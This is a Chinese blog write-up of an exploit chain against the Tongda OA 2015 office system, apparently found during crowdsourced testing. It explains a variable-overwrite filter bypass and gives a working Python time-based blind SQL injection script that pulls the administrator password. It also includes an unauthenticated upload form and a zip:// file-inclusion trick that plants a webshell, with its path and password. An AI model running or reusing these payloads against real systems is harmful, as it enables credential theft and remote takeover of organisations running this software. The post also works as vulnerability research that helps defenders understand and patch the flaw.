2015通达oa-从前台注入到后台getshell

最近做众测的时候遇上的一个系统,2015版本的最新更新日期:2016-07-22

注入分析

\inc\common.inc.php

<?php

function SecureRequest(&$var)
{
    if (is_array($var)) {
        foreach ($var as $_k => $_v ) {
            $var[$_k] = securerequest($_v);
        }
    }
    else {
        if ((0 < strlen($var)) && preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $var)) {
            exit("Invalid Parameters!");
        }

        if (!get_magic_quotes_gpc()) {
            $var = addslashes($var);
        }
    }

    return $var;
}

function CheckRequest(&$val)
{
    if (is_array($val)) {
        foreach ($val as $_k => $_v ) {
            checkrequest($_k);
            checkrequest($val[$_k]);
        }
    }
    else {
        if ((0 < strlen($val)) && preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $val)) {
            exit("Invalid Parameters!");
        }
    }
}

function RemoveXSS($val)
{
    if (is_array($val)) {
        foreach ($val as $key => $val ) {
            $val[$key] = removexss($val);
        }
    }

    $val = preg_replace("/([\\x00-\\x08,\\x0b-\\x0c,\\x0e-\\x19])/", "", $val);
    $ra = array("javascript", "vbscript", "expression", "script", "iframe", "frame", "onerror", "onload", "onmousemove", "onmouseout", "onmouseover", "onmove", "onmovestart");
    $found = true;

    while ($found == true) {
        $val_before = $val;

        for ($i = 0; $i < sizeof($ra); $i++) {
            $pattern = "/";

            for ($j = 0; $j < strlen($ra[$i]); $j++) {
                if (0 < $j) {
                    $pattern .= "(";
                    $pattern .= "(&#[xX]0{0,8}([9ab]);)";
                    $pattern .= "|";
                    $pattern .= "|(&#0{0,8}([9|10|13]);)";
                    $pattern .= ")*";
                }

                $pattern .= $ra[$i][$j];
            }

            $pattern .= "/i";
            $replacement = substr($ra[$i], 0, 2) . " " . substr($ra[$i], 2);
            $val = preg_replace($pattern, $replacement, $val);

            if ($val_before == $val) {
                $found = false;
            }
        }
    }

    return $val;
}

checkrequest($_REQUEST);

if (0 < count($_COOKIE)) {
    foreach ($_COOKIE as $s_key => $s_value ) {
        $_COOKIE[$s_key] = strip_tags(securerequest($s_value));
        $$s_key = $_COOKIE[$s_key];
    }

    reset($_COOKIE);
}

if (0 < count($_POST)) {
    $arr_html_fields = array();

    foreach ($_POST as $s_key => $s_value ) {
        if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
            if (is_array($s_value)) {
                $_POST[$s_key] = securerequest($s_value);
            }
            else {
                $_POST[$s_key] = strip_tags(securerequest($s_value));
            }

            $$s_key = $_POST[$s_key];
        }
        else {
            unset($_POST[$s_key]);
            $s_key = substr($s_key, 15);
            $$s_key = securerequest($s_value);
            $arr_html_fields[$s_key] = $$s_key;
        }
    }

    reset($_POST);
    $_POST = array_merge($_POST, $arr_html_fields);
}

if (0 < count($_GET)) {
    foreach ($_GET as $s_key => $s_value ) {
        $_GET[$s_key] = strip_tags(securerequest($s_value));
        $$s_key = $_GET[$s_key];
    }

    reset($_GET);
}

unset($s_key);
unset($s_value);

逻辑分析一下,
CheckRequest函数去检查$_REQUEST,通达oa是环境程序一体安装等,php版本是5.3.29,这个时候的$_REQUEST不包含$_COOKIE的,所以可以通过cookie来覆盖变量。

但是有一个很蛋疼的东西就是

$_COOKIE[$s_key] = strip_tags(securerequest($s_value));

strip_tags是没办法处理数组的,所以会返回null,故想覆盖比如_SESSION['a']的话,是没办法的。

接下来看后面的$_COOKIE->$_POST->$_GET,这些都是用SecureRequest函数去检查。然而这个函数只检查了数组键值,=。=,然后还不允许这样以_GET、_POST等开头变量覆盖

preg_match("#^(MYOA_|GLOBALS|_GET|_POST|_COOKIE|_ENV|_SERVER|_FILES|_SESSION)#", $var)

看到这段对$_post的处理

        if (substr($s_key, 0, 15) != "TD_HTML_EDITOR_") {
			xxx
        }
        else {
            unset($_POST[$s_key]);
            $s_key = substr($s_key, 15);
            $$s_key = securerequest($s_value);
            $arr_html_fields[$s_key] = $$s_key;
        }

=。=,如果传过去一个TD_HTML_EDITOR__SESSION[a]=1,最后不就成了_SESSION[a]=1,还顺便绕过了上面的正则检查。

注入很多,用的是80sec的waf,比如

http://lemon.love:8081/general/document/index.php/send/approve/finish

	public function approve_finish()
	{
		$CUR_USER_ID = $_SESSION["LOGIN_USER_ID"];
		$sid = $this->input->post("sid");
		$sid = rtrim($sid, ",");
		$sql = "select sid,user_list from doc_send_data where cur_user='$CUR_USER_ID' and status='2' and sid in($sid)";
		$query = $this->db->query($sql);

bypass出数据:

import threading,time
import requests

url = "http://lemon.love:8081/general/document/index.php/send/approve/finish"

def exp(n):
    global data
    for c in range(33,127):
        i = c
        flag = 1
        payload = "1) and char(@`'`)  union select if(ord(mid(PASSWORD,%d,1))=%d,sleep(8),1),1 from user WHERE BYNAME = 0x61646d696e #and char(@`'`)" % (n,i)
        exp_data = {
            'sid' : payload
        }
        cookies = {
            '_SERVER' : ''
        }
        try:
            res = requests.post(url, data=exp_data, cookies=cookies, timeout=5)
        except:
            data[n] = chr(i)
            print "Data %dth: %s" % (n,data[n])
            flag = 0
            break
    if flag:
        exit()

def main():
    threadpool=[]

    for n in xrange(1,10):
        th = threading.Thread(target=exp,args= (n,))
        threadpool.append(th)

    for th in threadpool:
        th.start()

    for th in threadpool :
        threading.Thread.join(th)

if __name__ == '__main__':
    data = {}
    start_time = time.time()
    main()
    print "Get data: ",data
    print "Spend time: ",time.time()-start_time
    for i in sorted(data):
        print data[i],

这样就可以跑出管理员密码,这个是用unix加密的,放cmd5解密一下就好了。

上传+包含=>getshell

general\reportshop\utils\upload.php

上传没验证,然后又可以变量覆盖。所以可以直接上传一个php。

exp.html

<form action="http://lemon.love:8081/general/reportshop/utils/upload.php?action=upload&filetype=xls" method="POST" enctype="multipart/form-data">
    <input type="file" value="" name="FILE1">
    <input type="submit" value="submit" name="submit">
</form>

上传的地址是:xxx/attachment/reportshop/templates/upload.php

但是因为环境是一体的,所以这些上传的目录并没有执行权限。

看到这段运行的。

function delete_file($url)
{
	$url .= "general/reportshop/utils/upload.php?cluster=&action=" . $_POST["action"] . "&filetype=" . $_POST["filetype"] . "&filename={$_POST["filename"]}";
	include ($url);
}

其中是这样调用的

else if ($action == "unupload") {
	if ($filetype == "xls") {
		xx;
	}
	else if ($filetype == "img") {
		xx;
	}
	else if ($filetype == "attach") {
		$uploaddir = MYOA_ATTACH_PATH . "reportshop/attachment/" . trim($filename);

		if (is_file($uploaddir)) {
			unlink($uploaddir);

			if (!isset($cluster)) {
				foreach ($arr_erp_server as $s_server ) {
					delete_file($s_server);
				}
			}
		}
	}
}

所以是这样的一个情况,

<?php
include $_GET[1] . "general/reportshop/utils/upload.php?cluster=&action=" . $_POST["action"] . "&filetype=" . $_POST["filetype"] . "&filename={$_POST["filename"]}";

这样的包含,可以利用zip、phar协议,但是后面还有?&=等符号,一个文件也没发这样创建。

先创建一个upload.....(很多.).php,然后在winhex里面修改它为

这样zip协议包含的时候就可以包含到这个文件了。

整理一下利用过程:

  1. 先上传zip文件,里面包含payload
  2. 再上传一个1.txt文件(任意内容都可以,主要是为了进入include包含里面的条件)
  3. 进行包含
http://lemon.love:8081/general/reportshop/utils/upload.de.php?action=unupload&filename=../templates/1.txt&filetype=attach

post数据:注意路径在进入后台后有一个系统信息可看到路径

TD_HTML_EDITOR_arr_erp_server[aaa]=zip://C:\WWW\code-src\myoa\webroot\attachment\reportshop\templates\kk123.zip%23

kk123.zip

这个zip包含后会生成一个shell,地址是

http://lemon.love:8081/general/reportshop/utils/l.php
password:kk123
posted @   l3m0n  阅读(5130)  评论(5)    收藏  举报
编辑推荐:
· 领域模型应用
· 记一次 ADL 导致的 C++ 代码编译错误
· MySQL查询执行顺序:一张图看懂SQL是如何工作的
· 为什么PostgreSQL不自动缓存执行计划?
· 于是转身独立开发者
阅读排行:
· 从被喷“假开源”到登顶 GitHub 热榜,这个开源项目上演王者归来!
· Cursor 1.2重磅更新,这个痛点终于被解决了!
· C#/.NET/.NET Core优秀项目和框架2025年6月简报
· 上周热点回顾(6.30-7.6)
· Stack Overflow,轰然倒下!
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
L3m0n
点击右上角即可分享
微信分享提示